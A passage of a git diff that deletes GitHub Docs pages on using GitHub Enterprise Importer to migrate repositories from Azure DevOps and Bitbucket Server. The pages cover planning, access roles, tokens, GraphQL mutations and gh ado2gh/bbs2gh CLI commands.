[AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud.md deleted file mode 100644 index 43f2d485da7a..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud.md +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: Migrating repositories from Azure DevOps to GitHub Enterprise Cloud -shortTitle: Migrate repositories -intro: 'You can migrate repositories from Azure DevOps to {% data variables.product.prodname_ghe_cloud %}, using the {% data variables.product.prodname_cli %} or the GraphQL API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -defaultTool: cli -redirect_from: - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-azure-devops-to-github-enterprise-cloud - - /migrations/using-github-enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-azure-devops-to-github-enterprise-cloud ---- - -## About repository migrations with {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.tool-options %} - -{% cli %} -{% data reusables.enterprise-migration-tool.gei-tool-switcher-api %} -{% endcli %} -{% api %} -{% data reusables.enterprise-migration-tool.gei-tool-switcher-cli %} -{% endapi %} - -{% ifversion repo-rules-enterprise %} -{% data reusables.enterprise-migration-tool.deploy-key-bypass %} -{% endif %} - -## Prerequisites - -* We strongly recommend that you perform a trial run of your migration and complete your production migration soon after. To learn more about trial runs, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/overview-of-a-migration-from-azure-devops-to-github-enterprise-cloud#running-your-migrations). -* {% data reusables.enterprise-migration-tool.link-to-support-limitations %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/about-migrations-from-azure-devops-to-github-enterprise-cloud). -* {% data reusables.enterprise-migration-tool.delta-migrations-not-supported %} -* For the destination organization on {% data variables.product.prodname_dotcom %}, you need to be an organization owner or have the migrator role. For more information about the migrator role, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#about-the-migrator-role). - -{% api %} - -## Step 0: Get ready to use the {% data variables.product.prodname_dotcom %} GraphQL API - -{% data reusables.enterprise-migration-tool.migration-query-method %} - -## Step 1: Get the `ownerId` for your migration destination - -{% data reusables.enterprise-migration-tool.get-destination-ownerId-ec %} - -{% data reusables.enterprise-migration-tool.migration-destination-query %} - -## Step 2: Identify where you're migrating from - -{% data reusables.enterprise-migration-tool.identify-migration-source-intro %} - -Your migration source is your ADO organization. - -### `createMigrationSource` mutation - -```graphql -mutation createMigrationSource($name: String!, $ownerId: ID!) { - createMigrationSource(input: {name: $name, url: "https://dev.azure.com", ownerId: $ownerId, type: AZURE_DEVOPS}) { - migrationSource { - id - name - url - type - } - } -} -``` - -{% data reusables.enterprise-migration-tool.type-note-azure-devops %} - -{% data reusables.enterprise-migration-tool.createMigrationSource-table-ec %} - -### `createMigrationSource` response - -```json -{ - "data": { - "createMigrationSource": { - "migrationSource": { - "id": "MS_kgDaACQxYmYxOWU4Yi0wNzZmLTQ3NTMtOTdkZC1hNGUzZmYxN2U2YzA", - "name": "Azure Devops Source", - "url": "https://dev.azure.com", - "type": "AZURE_DEVOPS" - } - } - } -} -``` - -In this example, `MS_kgDaACQxYmYxOWU4Yi0wNzZmLTQ3NTMtOTdkZC1hNGUzZmYxN2U2YzA` is the migration source ID, which we'll use in the next step. - -## Step 3: Start your repository migration - -{% data reusables.enterprise-migration-tool.start-repository-migration-ec %} - -### `startRepositoryMigration` mutation - -```graphql -mutation startRepositoryMigration ( - $sourceId: ID!, - $ownerId: ID!, - $sourceRepositoryUrl: URI!, - $repositoryName: String!, - $continueOnError: Boolean!, - $accessToken: String!, - $githubPat: String!, - $targetRepoVisibility: String! -){ - startRepositoryMigration( input: { - sourceId: $sourceId, - ownerId: $ownerId, - repositoryName: $repositoryName, - continueOnError: $continueOnError, - accessToken: $accessToken, - githubPat: $githubPat, - targetRepoVisibility: $targetRepoVisibility - sourceRepositoryUrl: $sourceRepositoryUrl, - }) { - repositoryMigration { - id - migrationSource { - id - name - type - } - sourceUrl - } - } -} -``` - -{% data reusables.enterprise-migration-tool.startRepositoryMigration-table-ec %} -| `sourceRepositoryUrl` | The URL of your source repository, using the format `https://dev.azure.com/{organization}/{project}/_git/{repository}`. - -For {% data variables.product.pat_generic %} requirements, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#required-scopes-for-personal-access-tokens). - -{% data reusables.enterprise-migration-tool.next-check-status %} - -## Step 4: Check the status of your migration - -{% data reusables.enterprise-migration-tool.check-migration %} - -## Step 5: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-log %} - -{% endapi %} - -{% cli %} - -## Step 1: Install the {% data variables.product.prodname_ado2gh_cli %} - -If this is your first migration, you'll need to install the {% data variables.product.prodname_ado2gh_cli %}. For more information about {% data variables.product.prodname_cli %}, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -{% data reusables.enterprise-migration-tool.ado2gh-binary %} - -{% data reusables.enterprise-migration-tool.install-github-cli %} -1. Install the {% data variables.product.prodname_ado2gh_cli_short %}. - - ```shell copy - gh extension install github/gh-ado2gh - ``` - -{% data reusables.enterprise-migration-tool.ado2gh-help-flag %} - -## Step 2: Update the {% data variables.product.prodname_ado2gh_cli %} - -The {% data variables.product.prodname_ado2gh_cli %} is updated weekly. {% data reusables.enterprise-migration-tool.update-your-extension %} - -```shell copy -gh extension upgrade github/gh-ado2gh -``` - -## Step 3: Set environment variables - -Before you can use the {% data variables.product.prodname_ado2gh_cli_short %} to migrate to {% data variables.product.prodname_ghe_cloud %}, you must create {% data variables.product.pat_generic %}s that can access the source and destination organizations, then set the {% data variables.product.pat_generic %}s as environment variables. - -1. Create and record a {% data variables.product.pat_v1 %} that will authenticate for the destination organization on {% data variables.product.prodname_ghe_cloud %}, making sure that the token meets all requirements. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#creating-a-personal-access-token-for-github). -1. Create and record a {% data variables.product.pat_generic %} that will authenticate for the source organization on Azure DevOps, making sure that this token meets all requirements. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#personal-access-tokens-for-azure-devops). -1. Set environment variables for the {% data variables.product.pat_generic %}s, replacing TOKEN in the commands below with the {% data variables.product.pat_generic %}s you recorded above. Use `GH_PAT` for the destination organization and `ADO_PAT` for the source organization. - - * If you're using Terminal, use the `export` command. - - ```shell copy - export GH_PAT="TOKEN" - export ADO_PAT="TOKEN" - ``` - - * If you're using PowerShell, use the `$env` command. - - ```shell copy - $env:GH_PAT="TOKEN" - $env:ADO_PAT="TOKEN" - ``` - -{% data reusables.enterprise-migration-tool.set-target-api-url %} - -## Step 4: Generate a migration script - -{% data reusables.enterprise-migration-tool.generate-migration-script %} - -If you want to migrate a single repository, skip to the next step. - -### Generating a migration script - -To generate a migration script, run the `gh ado2gh generate-script` command. - -```shell copy -gh ado2gh generate-script --ado-org SOURCE --github-org DESTINATION --output FILENAME -``` - -#### Placeholders - -{% data reusables.enterprise-migration-tool.placeholder-table %} -{% data reusables.enterprise-migration-tool.source-placeholder %} -{% data reusables.enterprise-migration-tool.destination-placeholder %} -{% data reusables.enterprise-migration-tool.filename-placeholder %} - -#### Additional arguments - -| Argument | Description | -| -------- | ----------- | -| `--target-api-url TARGET-API-URL` | {% data reusables.enterprise-migration-tool.add-target-api-url %} | -| `--all` | Add additional functionality to the script, such as rewiring pipelines, creating teams, and configuring Azure Boards integrations. | -| `--download-migration-logs` | Download the migration log for each migrated repository. For more information about migration logs, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/accessing-your-migration-logs-for-github-enterprise-importer#downloading-all-migration-logs-for-an-organization). | - -### Reviewing the migration script - -{% data reusables.enterprise-migration-tool.review-migration-script %} - -{% data reusables.enterprise-migration-tool.ado2gh-binary-generate-script %} - -## Step 5: Migrate repositories - -You can migrate multiple repositories with a migration script or a single repository with the `gh ado2gh migrate-repo` command. - -### Migrate multiple repositories - -{% data reusables.enterprise-migration-tool.migrate-multiple-repos %} - -### Migrate a single repository - -To migrate a single repository, use the `gh ado2gh migrate-repo` command. - -```shell copy -gh ado2gh migrate-repo --ado-org SOURCE --ado-team-project TEAM-PROJECT --ado-repo CURRENT-NAME --github-org DESTINATION --github-repo NEW-NAME -``` - -> [!NOTE] {% data reusables.enterprise-migration-tool.add-target-api-url %} - -{% data reusables.enterprise-migration-tool.migrate-repo-table-ec %} -TEAM-PROJECT | Name of the team project of the repository you want to migrate - -{% data reusables.enterprise-migration-tool.abort-migration %} - -```shell copy -gh ado2gh abort-migration --migration-id MIGRATION-ID -``` - -## Step 6: Validate your migration and check the error log - -{% data reusables.enterprise-migration-tool.validate-migration-logs %} - -{% endcli %} diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/overview-of-a-migration-from-azure-devops-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/overview-of-a-migration-from-azure-devops-to-github-enterprise-cloud.md deleted file mode 100644 index 7d8128a2cc70..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/overview-of-a-migration-from-azure-devops-to-github-enterprise-cloud.md +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: Overview of a migration from Azure DevOps to GitHub Enterprise Cloud -shortTitle: Overview of a migration -intro: 'Learn how to complete the entire process of migrating from Azure DevOps to {% data variables.product.prodname_dotcom %} with {% data variables.product.prodname_importer_proper_name %}, from planning to implementation to completing follow-up tasks.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /early-access/github/migrating-with-github-enterprise-importer/understanding-github-enterprise-importer/migrating-from-azure-devops-with-github-enterprise-importer - - /early-access/enterprise-importer/understanding-github-enterprise-importer/migrating-from-azure-devops-with-github-enterprise-importer - - /migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/migrating-from-azure-devops-with-github-enterprise-importer ---- - -## Overview - -With {% data variables.product.prodname_importer_proper_name %}, you can migrate to {% data variables.product.prodname_ghe_cloud %} on a repository-by-repository basis. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/understanding-github-enterprise-importer/about-github-enterprise-importer). - -If you're migrating from Azure DevOps (ADO), you can use this guide to plan and implement your migration and complete follow-up tasks. - -Enterprises who migrate from ADO to {% data variables.product.prodname_dotcom %} typically follow a multi-phase approach. - -1. Migrate repositories from ADO to {% data variables.product.prodname_dotcom %}. -1. Migrate pipelines from Azure Pipelines to {% data variables.product.prodname_actions %}. -1. Migrate remaining assets, such as boards and artifacts, from ADO to {% data variables.product.prodname_dotcom %}. - -This guide will guide you through completing the first phase, migrating repositories to {% data variables.product.prodname_dotcom %}, and assumes you're using the {% data variables.product.prodname_ado2gh_cli %}. - -## Planning your migration - -{% data reusables.enterprise-migration-tool.planning-intro %} - -* [How soon do we need to complete the migration?](#how-soon-do-we-need-to-complete-the-migration) -* [Do we understand what will be migrated?](#do-we-understand-what-will-be-migrated) -* [Who will run the migration?](#who-will-run-the-migration) -* [What organizational structure do we want in {% data variables.product.prodname_dotcom %}?](#what-organizational-structure-do-we-want-in-github) - -### How soon do we need to complete the migration? - -Determine your timeline, which will largely dictate your approach. The first step for determining your timeline is to get an inventory of what you need to migrate. - -* Number of repositories -* Number of pull requests - -Migrating from Azure DevOps, we recommend the `inventory-report` command in the {% data variables.product.prodname_ado2gh_cli %}. The `inventory-report` command will connect with the Azure DevOps API, then build a simple CSV with some of the fields suggested above. To install the {% data variables.product.prodname_ado2gh_cli %} and authenticate, follow steps 1 to 3 in [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud). - -Migration timing is largely based on the number of pull requests in a repository. If you want to migrate 1,000 repositories, and each repository has 100 pull requests on average, and only 50 users have contributed to the repositories, your migration will likely be very quick. If you want to migrate only 100 repositories, but the repositories each have 75,000 pull requests on average, and 5,000 users, the migration will take much longer and require much more planning and testing. - -After you take inventory of the repositories you need to migrate, you can weigh your inventory data against your desired timeline. If your organization can withstand a higher degree of change, then you might be able to migrate all your repositories at once, completing your migration efforts in a few days. However, you may have various teams that are not able to migrate at the same time. In this case, you might want to batch and stagger your migrations to fit the teams' timelines, extending your migration effort. - -1. Determine how many repositories and pull requests you need to migrate. -1. To understand when teams can be ready to migrate, interview stakeholders. -1. Fully review the rest of this guide, then decide on a migration timeline. - -### Do we understand what will be migrated? - -Ensure that you and your stakeholders understand what data can be migrated by {% data variables.product.prodname_importer_proper_name %}. - -For migrations from ADO, {% data variables.product.prodname_importer_proper_name %} only migrates Git repositories, including pull requests and some branch policies. Any other assets, such as pipelines, work items, artifacts, test plans, releases, and dashboards, will remain in ADO. - -Because permissions work differently in {% data variables.product.prodname_dotcom %} than in ADO, {% data variables.product.prodname_importer_proper_name %} does not attempt to migrate repository permissions from ADO. For more information, see [Configuring permissions](#configuring-permissions). - -Service hooks are not migrated from ADO, so you will need to recreate them separately. - -1. Review the data that's migrated from Azure DevOps. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/about-migrations-from-azure-devops-to-github-enterprise-cloud). -1. Make a list of any data that you'll need to manually migrate or recreate. - -### Who will run the migration? - -To migrate a repository, you must be an organization owner for the destination organization, or an organization owner must grant you the migrator role. - -1. Decide whether you want an organization owner of the destination organization to perform your migrations, or whether you need to grant the migrator role to someone else. -{% data reusables.enterprise-migration-tool.grant-migrator-tasks %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#about-the-migrator-role). -{% data reusables.enterprise-migration-tool.confirm-migrator-has-correct-pats %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#required-scopes-for-personal-access-tokens). - -### What organizational structure do we want in {% data variables.product.github %}? - -Next, plan the organizational structure you'll create in {% data variables.product.github %}. ADO and {% data variables.product.github %} have different ways of organizing an enterprise's work. - -* ADO: Organization > team project > repositories -* {% data variables.product.github %}: Enterprise > organization > repositories - -> [!NOTE] -> The concept of a team project, which is used to group repositories in ADO, does not exist in {% data variables.product.github %}. We do not recommend treating organizations in {% data variables.product.github %} as the equivalent of team projects in ADO. - -After migrating to {% data variables.product.github %}, you should have only one enterprise account and a small number of organizations owned by that enterprise. Each organization from ADO should correspond to a single organization on {% data variables.product.github %}. We do not recommend creating an organization on {% data variables.product.github %} for each team project on ADO. - -This may result in a large list of ungrouped repositories within each organization. However, you can manage access to groups of repositories by creating teams. For more information, see [AUTOTITLE](/organizations/organizing-members-into-teams/about-teams). - -If you want to break your migration effort into batches, the new structure can help you determine your batches. If you have more than one organization in ADO, and each organization's repositories are reasonably sized batches, consider batching by organization. You can use the {% data variables.product.prodname_cli %} to generate a migration script for an entire organization on ADO. - -{% data reusables.enterprise-migration-tool.organization-structure-tasks %} - -## Running your migrations - -{% data reusables.enterprise-migration-tool.running-your-migrations %} - -We recommend creating a test organization to use as a destination for your trial migrations. {% data reusables.enterprise-migration-tool.about-test-organizations %} - -1. Create a test organization for your trial migrations. -{% data reusables.enterprise-migration-tool.trial-migrations-tasks %} -{% data reusables.enterprise-migration-tool.configure-destination-ip-allow-list %} For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#configuring-ip-allow-lists-for-migrations). -1. Run your production migrations. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/migrating-repositories-from-azure-devops-to-github-enterprise-cloud). -{% data reusables.enterprise-migration-tool.delete-test-organization %} - -## Completing follow-up tasks - -{% data reusables.enterprise-migration-tool.follow-up-tasks-intro %} - -* [Checking the migration status](#checking-the-migration-status) -* [Reviewing the migration log](#reviewing-the-migration-log) -* [Setting repository visibility](#setting-repository-visibility) -* [Configuring permissions](#configuring-permissions) -* [Reclaiming mannequins](#reclaiming-mannequins) -* [Configuring IP allow lists](#configuring-ip-allow-lists) - -### Checking the migration status - -{% data reusables.enterprise-migration-tool.checking-the-migration-status %} - -### Reviewing the migration log - -{% data reusables.enterprise-migration-tool.reviewing-the-migration-log %} - -### Setting repository visibility - -{% data reusables.enterprise-migration-tool.setting-repository-visibility %} - -### Configuring permissions - -Because permissions work differently in {% data variables.product.prodname_dotcom %} than in ADO, {% data variables.product.prodname_importer_proper_name %} does not attempt to migrate repository permissions from ADO. - -If you used the ADO2GH CLI, {% data variables.product.prodname_importer_proper_name %} will create two teams in {% data variables.product.prodname_dotcom %} for each team project in ADO. Each team is granted a different level of access to all repositories that originated from the team project. - -Team | Access to migrated repositories --- | --- -TEAM-PROJECT-Maintainers | Maintainer -TEAM-PROJECT-Admins | Admin - -To give access to migrated repositories, you can add people to these teams. You can do this manually on {% data variables.product.prodname_dotcom %}, or if you chose to link the teams to Azure Active Directory (AAD) groups during your migration, by managing group membership in AAD. For more information about manually managing team membership, see [AUTOTITLE](/organizations/organizing-members-into-teams/adding-organization-members-to-a-team). - -If you aren't using the ADO2GH CLI, or if you require a permissions configuration that is more advanced than this default, configure permissions for your migrated repositories. You can modify the migration script to suit your needs, or you can manually configure permissions after your migration. For more information about managing access to repositories on {% data variables.product.prodname_dotcom %}, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization). - -1. Decide what permissions structure you require in {% data variables.product.prodname_dotcom %}. -1. If different than the default, make a plan for setting up team membership and permissions. - -### Reclaiming mannequins - -{% data reusables.enterprise-migration-tool.reclaiming-mannequins %} - -### Configuring IP allow lists - -If you added the IP ranges for {% data variables.product.prodname_importer_proper_name %} to the IP allow list for your destination organization, you can remove those entries. {% data reusables.enterprise-migration-tool.reenable-idp-ip-restrictions %} - -For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-azure-devops-to-github-enterprise-cloud/managing-access-for-a-migration-from-azure-devops#configuring-ip-allow-lists-for-migrations). diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/about-migrations-from-bitbucket-server-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/about-migrations-from-bitbucket-server-to-github-enterprise-cloud.md deleted file mode 100644 index 69ce05f7f680..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/about-migrations-from-bitbucket-server-to-github-enterprise-cloud.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: About migrations from Bitbucket Server to GitHub Enterprise Cloud -shortTitle: About migrations -intro: 'Learn which data {% data variables.product.prodname_importer_proper_name %} can migrate.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About migrations from Bitbucket Server - -You can use {% data variables.product.prodname_importer_proper_name %} to migrate repositories from Bitbucket Server to {% data variables.product.prodname_ghe_cloud %} ({% data variables.product.prodname_dotcom_the_website %} or {% data variables.enterprise.data_residency_site %}). Migrations from Bitbucket Server are only supported for Bitbucket Server or Bitbucket Data Center version 5.14+ or higher. - -## Data that is migrated - -We currently only support migrating the following repository data from Bitbucket Server to {% data variables.product.prodname_ghe_cloud %}. - -* Git source (including commit history) -* Pull requests (including comments, pull request reviews, pull request review comments at the file and line level, required reviewers, and attachments) - - > [!NOTE] - > Users may receive a `500` error when attempting to view a pull request, if the pull request was merged and the head branch deleted on Bitbucket Server prior to migration. Bitbucket Server removes specific Git references to objects for such pull requests, and consequently those Git objects associated with the pull request are unable to be migrated. - -## Data that is not migrated - -Currently, the following data is **not** migrated. - -* Personal repositories owned by users -* Branch permissions -* Commit comments -* Repository settings -* CI pipelines - -## Limitations on migrated data - -{% data reusables.enterprise-migration-tool.limitations-of-migrated-data %} - -## Getting started - -Before you migrate from Bitbucket Server, you should plan out how you will run your migration. Before migrating any data, you will need to choose someone to run the migration. You must grant that person the necessary access for both the source and the destination of the migration. We also recommend you run a trial migration first. - -For an overview of the migration process from beginning to end, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/overview-of-a-migration-from-bitbucket-server-to-github-enterprise-cloud). diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/index.md b/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/index.md deleted file mode 100644 index 842278147d29..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Migrating from Bitbucket Server to GitHub Enterprise Cloud -shortTitle: Migrate from Bitbucket Server -intro: 'You can migrate repositories to {% data variables.product.prodname_dotcom %} with {% data variables.product.prodname_importer_proper_name %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-migrations-from-bitbucket-server-to-github-enterprise-cloud - - /overview-of-a-migration-from-bitbucket-server-to-github-enterprise-cloud - - /managing-access-for-a-migration-from-bitbucket-server - - /migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud ---- - diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server.md b/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server.md deleted file mode 100644 index 419bf49da644..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/managing-access-for-a-migration-from-bitbucket-server.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Managing access for a migration from Bitbucket Server -shortTitle: Manage access -intro: 'Before you use {% data variables.product.prodname_importer_proper_name %}, make sure you have appropriate access to both the source and destination of your migration.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- - -## About required access for {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.required-access-intro %} - -To migrate a repository from Bitbucket Server to GitHub, you need sufficient access to both the source (your Bitbucket Server instance) and the destination (an organization on {% data variables.product.prodname_dotcom %}). To have sufficient access, you'll need all of the following things. -* A required role in the destination organization on {% data variables.product.prodname_dotcom %} -* A {% data variables.product.pat_generic %} that can access the destination organization on {% data variables.product.prodname_dotcom %} - * The {% data variables.product.pat_generic %} must have all the required scopes, which depend on your role and the task you want to complete. - * If the destination organization uses SAML single sign-on for {% data variables.product.prodname_dotcom %}, you must authorize the {% data variables.product.pat_generic %} for SSO. -* On Bitbucket Server, required permissions and SFTP or SMB access - -Additionally, if you use IP allow lists in the destination organization, you may need to configure the allow lists to allow access by {% data variables.product.prodname_importer_proper_name %}. - -## About the migrator role - -{% data reusables.enterprise-migration-tool.about-the-migrator-role %} - - - -## Required roles for {% data variables.product.company_short %} - -For the destination organization on {% data variables.product.prodname_dotcom %}, different roles are required for different tasks. - -{% data reusables.enterprise-migration-tool.gei-required-roles %} - -## Required scopes for {% data variables.product.pat_generic %}s - -To run a migration, you need a {% data variables.product.pat_generic %} that can access the destination organization on {% data variables.product.prodname_dotcom %}. - -{% data reusables.enterprise-migration-tool.github-pat-required-scopes %} - -## Required permissions for Bitbucket Server - -To migrate from Bitbucket Server, you need: - -* The username and password of a Bitbucket Server account that has admin or super admin permissions -* If your Bitbucket Server instances runs on Linux, SFTP access to the Bitbucket Server instance (see [SSH keys](#ssh-keys)). In general, if you can access the server via SSH, then you can also use SFTP. -* If your Bitbucket Server instance runs on Windows, file sharing (SMB) access to the Bitbucket Server instance - -### SSH keys - -If your Bitbucket Server instance runs on Linux, you must use an SSH key that meets the following requirements: - -* Does not have a passphrase -* Uses one of the following ciphers - * `aes256-ctr` - * `3des-cbc` - * `aes128-cbc` - * `aes192-cbc` - * `aes256-cbc` - * `blowfish-cbc` - * `twofish-cbc` - * `twofish192-cbc` - * `twofish128-cbc` - * `twofish256-cbc` - * `arcfour` - * `arcfour128` - * `arcfour256` - * `cast128-cbc` - * `aes128-ctr` - * `aes192-ctr` - -If you receive an error like `cipher name aes256-ctr for openssh key file is not supported` when running a migration, your SSH private key uses an unsupported cipher. For more information about how to generate a compatible private key, see [AUTOTITLE](/migrations/using-github-enterprise-importer/completing-your-migration-with-github-enterprise-importer/troubleshooting-your-migration-with-github-enterprise-importer#cipher-name-is-not-supported). - -## Granting the migrator role - -To allow someone other than an organization owner to run a migration or download migration logs, you can grant the migrator role to a user or team. For more information, see [About the migrator role](#about-the-migrator-role). - -You can grant the migrator role using either the {% data variables.product.prodname_bbs2gh_cli %} or the GraphQL API. - -* [Granting the migrator role with the {% data variables.product.prodname_bbs2gh_cli_short %}](#granting-the-migrator-role-with-the-bbs2gh-extension) -* [Granting the migrator role with the GraphQL API](#granting-the-migrator-role-with-the-graphql-api) - -### Granting the migrator role with the {% data variables.product.prodname_bbs2gh_cli_short %} - -To grant the migrator role using the CLI, you must have installed the {% data variables.product.prodname_bbs2gh_cli %}. For more information, see [AUTOTITLE](/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud#step-1-install-the-bbs2gh-extension-of-the-github-cli). - -1. On {% data variables.product.prodname_dotcom %}, create and record a {% data variables.product.pat_generic %} that meets all the requirements for granting the migrator role. For more information, see [Creating a {% data variables.product.pat_generic %} for {% data variables.product.prodname_importer_proper_name %}](#creating-a-personal-access-token-for-github-enterprise-importer). -{% data reusables.enterprise-migration-tool.grant-migrator-role-pat %} -1. Use the `gh bbs2gh grant-migrator-role` command, replacing ORGANIZATION with the organization you want to grant the migrator role for, ACTOR with the user or team name, and TYPE with `USER` or `TEAM`. - - ```shell copy - gh bbs2gh grant-migrator-role --github-org ORGANIZATION --actor ACTOR --actor-type TYPE - ``` - - {% data reusables.enterprise-migration-tool.grant-migrator-role-ghecom %} - -### Granting the migrator role with the GraphQL API - -{% data reusables.enterprise-migration-tool.grant-migrator-role-graphql %} - -## Creating a {% data variables.product.pat_generic %} for {% data variables.product.prodname_importer_proper_name %} - -{% data reusables.enterprise-migration-tool.creating-a-pat-steps %} - -## Configuring IP allow lists for migrations - -If the destination of your migration uses an IP allow list (either {% data variables.product.company_short %}'s IP allow list feature or your identity provider's (IdP) IP allow list restrictions), you need to configure IP allow lists on {% data variables.product.prodname_dotcom %}. - -* If you use {% data variables.product.company_short %}'s IP allow list feature, you must add the {% data variables.product.prodname_dotcom %} IP ranges below to the allow list for the destination organization. -* If you use your IdP's IP allow list to restrict access to your enterprise on {% data variables.product.prodname_dotcom %}, you should disable these restrictions in your enterprise account settings until after your migration is complete. - -For more information, see [AUTOTITLE](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization) and [AUTOTITLE](/enterprise-cloud@latest/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise-with-an-ip-allow-list). - -### IP ranges for {% data variables.product.prodname_dotcom_the_website %} - -{% data reusables.enterprise-migration-tool.identifying-githubs-ip-ranges %} - -### IP ranges for {% data variables.enterprise.data_residency_site %} - -{% data reusables.enterprise-migration-tool.ip-ranges-ghecom %} - -In addition, if you are using a blob storage account with firewall rules: - -{% data reusables.enterprise-migration-tool.extra-requirements-storage %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization) diff --git a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud.md b/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud.md deleted file mode 100644 index c1919dd92691..000000000000 --- a/content/migrations/using-github-enterprise-importer/migrating-from-bitbucket-server-to-github-enterprise-cloud/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud.md +++ /dev/null @@ -1,301 +0,0 @@ ---- -title: Migrating repositories from Bitbucket Server to GitHub Enterprise Cloud -shortTitle: Migrate repositories -intro: 'You can migrate repositories from Bitbucket Server to {% data variables.product.prodname_ghe_cloud %} using the {% data variables.product.prodname_cli %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -defaultTool: cli -redirect_from: - - /early-access/enterprise-importer/migrating-repositories-with-github-enterprise-importer/migrating-repositories-from-bitbucket-server-to-github-enterprise-cloud - - 